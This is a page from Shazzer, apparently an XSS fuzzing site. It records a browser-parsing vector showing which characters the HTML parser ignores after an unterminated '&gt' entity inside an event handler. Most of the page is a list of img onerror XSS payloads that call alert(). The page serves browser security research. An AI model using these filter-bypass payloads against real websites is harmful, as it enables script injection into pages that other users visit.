Characters allowed after greater than in events

This vector shows which characters are ignored after the greater than entity without a semi-colon

Shazzer Elite

Created Jun 21, 2024

Updated May 27, 2025

Unable to render tweet button

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<img src=data: onerror="1&gt$[chr] log($[i])">

Sample payloads

<img src=data: onerror="1&gt  alert(8192)">

<img src=data: onerror="1&gt0x0B alert(11)">

<img src=data: onerror="1&gt~ alert(126)">

<img src=data: onerror="1&gt  alert(8200)">

<img src=data: onerror="1&gt0x0D alert(13)">

<img src=data: onerror="1&gt  alert(8195)">

<img src=data: onerror="1&gt  alert(8196)">

<img src=data: onerror="1&gt- alert(45)">

<img src=data: onerror="1&gt  alert(8239)">

<img src=data: onerror="1&gt! alert(33)">

<img src=data: onerror="1&gt  alert(8233)">

<img src=data: onerror="1&gt  alert(8199)">

<img src=data: onerror="1&gt; alert(59)">

<img src=data: onerror="1&gt  alert(8287)">

<img src=data: onerror="1&gt  alert(160)">

<img src=data: onerror="1&gt  alert(8201)">

<img src=data: onerror="1&gt  alert(8197)">

<img src=data: onerror="1&gt  alert(5760)">

<img src=data: onerror="1&gt  alert(32)">

<img src=data: onerror="1&gt  alert(8232)">